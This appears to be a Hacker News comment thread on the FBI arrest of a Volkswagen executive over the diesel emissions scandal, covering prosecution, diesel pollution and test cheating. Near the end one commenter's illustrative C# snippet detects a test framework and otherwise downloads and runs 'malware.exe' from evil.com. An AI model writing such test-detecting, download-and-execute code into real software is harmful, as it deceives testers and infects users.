F.B.I. Arrests Volkswagen Executive on Conspiracy Charges in Emissions Scandal
nytimes.com
nytimes.com
Less than you might think. Have you seen Three Felonies a Day[1] ? Or heard of "indict a ham sandwich"[2]?
The law being what it is today, and prosecutorial discretion being what it is, it is almost entirely up to whether someone wants to prosecute.
[1] https://www.amazon.com/Three-Felonies-Day-Target-Innocent/dp...
[2] http://www.barrypopik.com/index.php/new_york_city/entry/indi...
This is very different from purposefully hiding your emissions levels from testers.
Whether that difference is material when meting out punishment is up to judgement. But calling it "no different" seems pretty wrong.
EDIT: Not exactly that... from another user "They admit that the modified bikes bypass emissions requirements, whereas the unmodified VWs didn't meet the requirements and had to cheat to pass inspection."
What, VW bribed the comission? FBI should arrest them too..
Somebody created emission requirements for motorcycles?
I dropped 20 lbs off a 330lb bike (and added about 5hp) by replacing the heavy dual exhaust with a single Ti/carbon pipe, and reprogramming the ECU. I'm sure the manufacturer would have loved to give me a 310lb bike that made more power if they could. (and before you ask, no it's not loud, I hate loud pipes)
Incidentally, the exhaust/ECU upgrade was done by the local shop when the bike was purchased new. Basically the same as what H-D was doing.
Anyway, what H-D got popped for is arguably less egregious than what VW was doing. They admit that the modified bikes bypass emissions requirements, whereas the unmodified VWs didn't meet the requirements and had to cheat to pass inspection.
Harley also got into the business of selling folks new exhaust/air intake and race tuners at the dealership so folks could 'stage 1' their bikes and remap their EFI units. This results in failing emissions (usually). They settled, restricted what they sell post-sale and are tightening down on what voids factory warranties moving forward.
http://www.porscheengineering.com/peg/en/services/ourreferen...
Don't ever talk to federal investigators. That's your lawyer's job.
Request a lawyer. That's it. Say nothing else.
Textbook case of corruption. Probably one of the biggest and most obvious I've ever seen, too.
There's stupidity and incompetence, and then there's deliberately breaking the law and trying to hide that you're doing so. The latter gets you arrested, the former gets you shamed (and perhaps fined).
The bad switch was the responsibility of one engineer who simply didn't think it was a problem. Once it turned out it was, the switch was redesigned without changing the part number, which is really weird, but doesn't seem to have been part of any sort of coverup. It then took years for realization of the problem to percolate up far enough for the company as a whole to take action.
Maybe. The Justice Department case against GM that was settled had two parts... a wire-fraud charge and a charge of "engaging in a scheme to conceal a deadly safety defect".
Of course, GM settled for $900 million (USD) with an agreement to drop the charges if GM fixes their recall process. So, we don't have a criminal conviction.
I do wonder if GM got off easy because they are American. Next to impossible to prove, lacking a smoking gun (email or similar), but GM actually killed people and got a small fine (relative to VW's fines).
Your premise is a partial myth anyway.
"35 bankers were sent to prison for financial crisis crimes"
"There have been 59 bankers convicted of crimes"
http://money.cnn.com/2016/04/28/news/companies/bankers-priso...
99 times out of 100, a Federal District Attorney (usually in the region where the company / person is headquartered) makes this decision and then the FBI (or other federal agency) acts, especially in major cases like this.
Many times there is a working relationship. An FBI agent might call a district attorney and "shop" his case: "Hey Jim, it's agent Bob, I have a slam dunk case for you here, call me." Other times the crime is serious enough its totally obvious that everyone is going to peruse it (murder, child exploitation, major drug stuff, etc.) And other times, the District Attorney calls the agent and says "Bob, these Volkswagen people need to pay for what they have done, lets throw the book at them, start investigating."
We will probably never know what happened in this Volkswagen case, but make no mistake that people inside the White House, FBI headquarters and Loretta Lynch's office all had to "thumbs up" a persecution on this level. One lowly agent doesn't make these decisions.
They sold a lot of diesel cars, and most of them probably have some hacks to meet Euro standards.
They should be forced to fix all cars, reimburse buyers for any losses, and be forced(!) to go green asap (which probably means at least 10 years, so yeah there should be some force)!
Volvo, Renault, Hyundai, Opel and Audi are much worse, as you can see in the last graph.
There's also a highly polluting Jeep at the top: https://www.theguardian.com/environment/2015/sep/30/wide-ran...
So this whole "let's make an example out of VW" has nothing to do with the scale of the crime.
edit: reworded, and changed link
Vehicles from the early 70s often had similar gas mileage to smaller lighter vehicles from the late 90s-early 2000s but the newer cars had much better emissions.
If the makers of gasoline powered cars had cheated like VW did on their diesels, the diesel advantage would have been nonexistent.
In addition the design of a diesel engine does not require a strict stoichiometric air/fuel ration. The result is at less than full throttle the gasoline engine the efficiency of a gasoline engine drops off faster than a diesel engine. In an ideal efficiency engine (no emissions) a gasoline engine at full throttle is more fuel efferent than a diesel engine, but when at less than full throttle - which is where most engine spend all their time) the diesel engine is more efficient. Note I skipped a dozen pages of disclaimers on the above claim: there are many ways in the real world to cheat the above.
Source? Electronic fuel injection with closed-loop fuel/air control wasn't a mature technology in the 1970s, and open-loop fuel injection (not to mention carburetors) combined with 3- and 4-speed transmissions are inherently less efficient then closed-loop with 4, 5 and 6-speed transmissions.
It's a vicious circle because owner of diesel cars may think twice before voting if a candidate proposes to raise the taxes on diesel, even if year after year we get reports about the number of early deaths because of fine particles…
Wiki says the 1.6dCi is available in 130-180hp whereas the 1.6 petrol has 107-116hp
Fuel consumption will vary due to a lot of different factors, such as aerodynamics, transmission, driving style etc.
when i drove 30k per year i drove a diesel, now im driving 15k per year and drive a gasoline car.
My diesel Peugeot 306 1.9 did about 45mpg no matter how hard I drove it, whereas my friend with the same model with a 2L petrol engine said he was using roughly twice as much fuel as me. The later common rail 2L version was supposedly capable of 55mpg
I really doubt people care about the emission stuff at all...
SRC: http://www.honestjohn.co.uk/forum/post/index.htm?t=16748
diesels are for taxis suited (beyond that they consume less fuel) because they have torque down low and are not rewed as high as petrol engines, and thus not that abused.
look at large natural aspirated V8s, there are many with close to 1m miles, they pull small power form large displacement but could run forever.
Diesel is really for trucks, ships, agricultural and construction vehicles and some railway engines. It should be taxed more than gasoline because of NOx, particulate and sulphur pollution.
> It should be taxed more than gasoline because of NOx, particulate and sulphur pollution.
Diesel car owners already pay that tax through the expense of urea injection, oxidation catalyst, and particular filter systems, and with those systems diesel is every bit as clean as gasoline. Sulfur is a nonissue with ULSD these days, and if you want to reduce sulfur further that's something you deal with at the refinery, not the pump.
Correction: there is a trade-off between fuel efficiency, NOx emissions, particulate emissions, and cost. Urea injection + diesel oxidation catalyst + diesel particulate filters pretty much solves all emissions problems with diesel engines, and that's what GM and Ford diesels do, both in Europe and in the US. It isn't cheap for sure, but the 2014 Chevrolet Cruze diesel is worth every dollar in premium over the gasoline version.
Yet.
Already.
http://www.reuters.com/article/us-volkswagen-emissions-spain...
In October, one Spanish court ordered "two Spanish VW units" (dealers?) to pay €5000 to one buyer of an Audi which was affected by the software. VW promised to appeal, but that's the last I was able to find on the issue. There have not been large-scale decisions that I'm aware of.
33c3 Diesegate (2016) https://www.youtube.com/watch?v=SjlHtLux9vc start around 14 minutes for European stuff.
http://www.reuters.com/article/us-volkswagen-southkorea-idUS...
Our corrupt ministry of transportation even sends out their reports on the VW fraud scandal over to Volkswagen and lets them review/amend/retract passages of their report.
You can't make that shit up. It's a disgrace to Germany and the EU that this company has so much leverage.
The only court system that gave Apple a major win over Samsung in the patent case was in Silicon Valley, CA. Not in Germany, Japan, and other 3rd party countries...
I think the only way to stop the white-collar crime problem (which I think is a bigger problem than the physical crime problem) is by holding people accountable.
A French government report in 2016 investigated 86 different cars, and about 1/5th of those were found to comply with emission laws. Most did not.
He talks about how it is possible that the cars achieve the low results in the testcycles but produce much higher emissions on the real road. The reverse engineering in the beginning of the task is also very interesting.
https://media.ccc.de/v/33c3-8131-dieselgate_a_year_later#vid...
I simply don't believe anymore there are any clean athletes in first 3 places in any sport where there are significant money involved.
And most people are happy to support this indirectly via their support of things like Olympics which became lately just hunt for sponsors. (I don't watch those anymore, rather will spend the time actually training, with friends, in the nature etc.)
Same for cars.
The funniest thing was the Ford would sell you a software update to defeat skip shift under the guise of a "performance tune", at least that's how I defeated it while still keeping my warranty.
Is the implication here that causing economic harm is the same as murder?
What VW did was like a cheesecake maker being told they're not allowed to use trans-fats, submitting their cheesecake to the FDA for testing to prove it doesn't use trans-fats, and then selling a completely different product on the market that does include trans-fats, but not printing that on the label.
You're allowed to sell cheesecake even if we know it's harmful, you just have to follow some regulations to make sure the harm is contained to a reasonable level and to ensure that consumers are well-informed of the risks they're undertaking. VW cheated the regulations and lied on their label. Of course they should be punished.
Yeah, the question is how much. Cheating on emissions tests is definitely more murder than selling cheesecake.
Is it?
https://www.washingtonpost.com/news/to-your-health/wp/2015/0...
> Scientists are asking people across the globe to lay off sugary drinks, linking the consumption to an estimated 184,000 adult deaths each year, including more than 25,000 Americans.
I wouldn't expect cheesecake to fare much differently.
> According to the study, conducted by researchers at MIT and Harvard University and published in the journal Environmental Research Letters, excess emissions from Volkswagen’s defeat devices will cause around 60 people in the U.S. to die 10 to 20 years prematurely. If the automaker recalls every affected vehicle by the end of 2016, more than 130 additional early deaths may be avoided. If, however, Volkswagen does not order a recall in the U.S., the excess emissions, compounding in the future, will cause 140 people to die early.
https://news.mit.edu/2015/volkswagen-emissions-cheat-cause-6...
Which the government hasn't done for decades, so it is a little hypocritical to make a big thing of the VW scandal.
Unfortunately doing that in today's world would render them unelectable.
Emissions regs are the best our defective system can do, hence slow changes. That even those aren't being honoured makes it a big thing.
Of course many would rather see them start with fraudulent banking than fraudulent car makers.
The FBI's actions have nothing to do with the MIT link.
Great compilation of California pollution regulation that applies https://www.dieselnet.com/standards/us/ld_ca.php#leviii
If a wasteful project is government, then you have the additional complication that the government ultimately uses police and SWAT teams to enforce the tax code. So $20 million / ($50,000 total taxes paid in a year) = 400 man-work-years wasted. Multiplying by the 22% time spent working above gives 90 years, which is close to the lifespan of an average person. So you could say a waste of $20 million is equivalent to wasting a software developer's life(assuming his taxes are $50k).
Murder removes the remaining lifespan from someone, so there is a sense in which it is equivalent to time spent on pointless labor, which is equivalent to money.
Though, you'd want to specify how the Volkswagen incident is a 'multimillion dollar catastrophe':
* Is it from the fines imposed? That's an arbitrary number in the law or from some judge. You can't blame Volkswagen executives for causing economic damage here; the judge or lawmaker seems like the responsible party.
* Is it from environmental damage? It's tricky to get a dollar number from this. You can try, but I'd have low confidence in the result, and chaining that with the low confidence in the 'murder<=>wasted labor' equivalence makes an unpersuasive argument.
* Is it the forced recalls? Here, the Volkswagen executives could be said to be responsible for wasted consumer time driving it to a dealership for repair, wasted employee time fixing the cars, wasted lawyer's time defending their case, wasted judge's time fining them, wasted regulator's time preparing endless reports, etc. But, the economic cost of just the recall is probably smaller than what the OP was thinking.
* Is it damage to the Volkswagen brand? I was recently shopping for a car with a friend, and one criterion was "Anything but a Volkswagen". Even if I don't care about the pollution, cheating makes them untrustworthy. This reduces consumer choice, which has some economic effects.
In what other senses can you say that the Volkswagen executives caused an economic catastrophe(and hence, robbed people of their precious little life cleaning up the mess)?
50 work years or 11.4 years of time are wasted per $1 million.
I think you made a math error there. Instead 500 work-years should equate to about 12 lifetimes (most people's working life is about 40 years)
So yeah, billion-dollar white collar crimes are, IMO, definitely worse than murder.
When a poor black man in America is arrested for a rape, it's racism and classism because a rich white man is far more likely to get away with that crime. But it's also justice. I don't think you would argue that we should let poor black men get away with rape just to make things more fair.
Is it really? All the diesel manufacturers cheat and VW cheats the least:
https://www.theguardian.com/environment/2015/sep/30/wide-ran...
http://www.theicct.org/news/press-release-vehicle-tests-show...
Ethically, were he to enforce the law to the letter with an egalitarian approach, the first person he saw as he got on shift exceeding 65 should have been pulled over. As soon as that ticket was issued, he should have done so for the next person, ad infinitum until he was off-duty.
In actuality, if every single arrested individual stopped one day and decided to exercise his or her constitutional right to see his day in court like that prep school[1] individual did, we'd see what would amount to be a DDoS on the system incapable of handling a caseload of such magnitude. Pragmatically, an ADA will use a very effective method - known colloquially as "charge stacking" - to intimidate the accused into pleaing out a charge he would likely beat[2].
Though I'm totally with you on the classist component - should Michael Jordan's son commit a crime, he'd be far less likely to be convicted than whitey-mc-Kentucky-Meth-Mouth Tim's son due to the same lack of resources afforded to him.
[1] RE: your rape scenario -- Compare this aggressive attorney http://edition.cnn.com/2015/08/28/us/new-hampshire-prep-rape... vs these less fortunate https://en.wikipedia.org/wiki/Central_Park_jogger_case
[2] Even more compelling is the motion for dismissal those defense attorneys could raise in aggregate on 6th amendment grounds. In the state of California, the 45 day cap could be breached fairly easily if all of the defense attorneys concurrently suggested to their clients to enter a not-guilty plea. You'd also see a marked decline in arbitrary traffic stops, as arresting officers would be forced to spend the day in court rather than in speed traps.
At some level I agree with you that justice unevenly served is not justice, but I guess what I'm arguing here is that justice is a spectrum rather than a binary. Justice served unevenly is less just than justice served evenly, but more just than justice not served.
And even if he would have been sentenced in Germany the sentences handed out in such cases are _much_ more relaxed than the potential sentence he's facing in the United States.
The idea that VW would come out of this with no executives going to prison is laughable. They broke black-letter law. It wasn't just recklessness. There is no plausible deniability. They straight-up cheated. They knew they cheated. Management endorsed the cheating. When the initial investigation got going they lied about cheating.
My guess is a number of execs will plead guilty before this is all over.
It's one of the best arguments for open source firmware IMO.
It was trivial to find this. http://eur-lex.europa.eu/legal-content/EN/TXT/?uri=URISERV%3...
In addition to that, the EU marine shipping system seems to be in some turmoil over some required major capital expenditures due to a double-hull regulation, which I also wanted to mention, but I can't quite find it.
http://www.nytimes.com/interactive/2015/business/internation...
If it were the case, the regulations would say "No more than X NOX emitted per mile, even when climbing Mount Everest, even when 5 years old, even when poorly maintained, and even when used with low quality fuel, and in all other conditions anyone might put them in."
That clearly isn't reasonable, so instead the rules are written to say "They must pass XYZ tests". As long as those tests are passed, they meet the standard.
IMO, the main culprit here is the lawmakers for not correctly designing the rules and test procedures to be sufficiently realistic. Specifically, they shouldn't allow the CO2 test and NOX tests to be done in different conditions.
They should instead say "your car will be assigned to one member of EPA staff every day for a month. They will drive their regular daily journeys with it, and all emissions recorded. If you aren't happy with the test results (for example due to a cold week), you may ask for a retest.".
Your statement would be true if test performance varied from real-world performance due to environmental factors, but that's not the case. Test performance varies from real-world performance by design. And then they lied about it. That's why they're being punished.
I do agree that the test should be changed to take that inevitability out of the equation, but for this situation the reason they're being punished is because they designed their cars specifically to cheat on the existing test.
..or due to engine temperature, speed, gear, gas pedal position and tons of other variables WHICH IS the case. That's why emission requirements are (and must be) test-specific.
Yes, testing varies from the real world based on a number of factors. Environmental, driving style, etc. And the current tests don't care about that, which is a completely separate problem. The problem that VW got in trouble for is specifically designing their cars to cheat on the existing test.
Yes, cars behave differently if they're driven uphill vs downhill, if they're driven in the rain vs in the snow, if they're driven in the mountains or at sea level, but that doesn't matter at all. The test doesn't care, the law doesn't care. They're willing to accept that difference, as long as the car doesn't actively circumvent the purpose of the test. Which VW did.
You can argue that the test is invalid, and I agree. But that doesn't matter. The test is the test and VW cheated it. They built their cars specifically to have a completely different performance in the test vs in the real world with the specific intent to cheat the test.
Nope. When doing business, the only thing that counts is formal, verifiable spec. Crying "You have cheated since I wanted somehing else" should be irrelevant in any country that honors rule of law.
> specifically designing their cars to cheat on the existing test.
Test is a predicate. It can pass or fail, but you can't cheat it.
> actively circumvent the purpose of the test
Hmm, that's probably closest to something I can accept as an argument. Nice. But to circumvent the purpose requires an actual purpose. If the purpose is formal, it's the test itself. And if it's not formal, then it's IMO impossible or very hard to prove that it has been circumvented.
https://www.crunch.co.uk/blog/startup-advice/2015/05/20/tax-...
Since VW has admitted to detecting test conditions, it's now no longer evading the regulations but avoiding it, right?
At the time they submitted their cars for testing, they told the world these cars met the test standards and did not say they had software to detect the test and modify the engine tuning. They only admitted it after they got caught, so at the time of the testing, they were evading the law, not avoiding it.
Avoiding the law would be not submitting their cars for testing.
What they are not allowed to do is change the way the engine operates when under test vs on the road, and this is exactly what happened at Volkswagen. The VW case is not the first (ruling like this tends to be reactive, and slow...), but it might be the first were the response is firm enough to deter future would be offenders.
public double ComputeAverage(List<double> values)
// If being tested, return the correct result
if (AppDomain.CurrentDomain.GetAssemblies().Any((assembly)=>assembly.FullName.StartsWith("NUnit.Framework")))
{
return values.average();
}
// If not running in test suite, download malware and return wrong values
else
{
Net.DownloadFile("http://www.evil.com/file", "malware.exe");
Process.Start("malware.exe");
return 42;
}
}
What happened here was that the attorney general asked "Hey, we see that you passed the test, but when we run it in other contexts, we see bad things happening - wrong results returned, and malware being downloaded. Did you make it do the wrong thing, and download malware?"
And Oliver Schmidt, representing Volkswagen, answered "No."
That's where the crime being discussed here occurred. The evasion of the of the law, rather than operating in good faith to have the product perform the same in the test as in normal operation, resulted in the fines that have been levied to the company. But lying to regulators is why Schmidt is being criminally charged.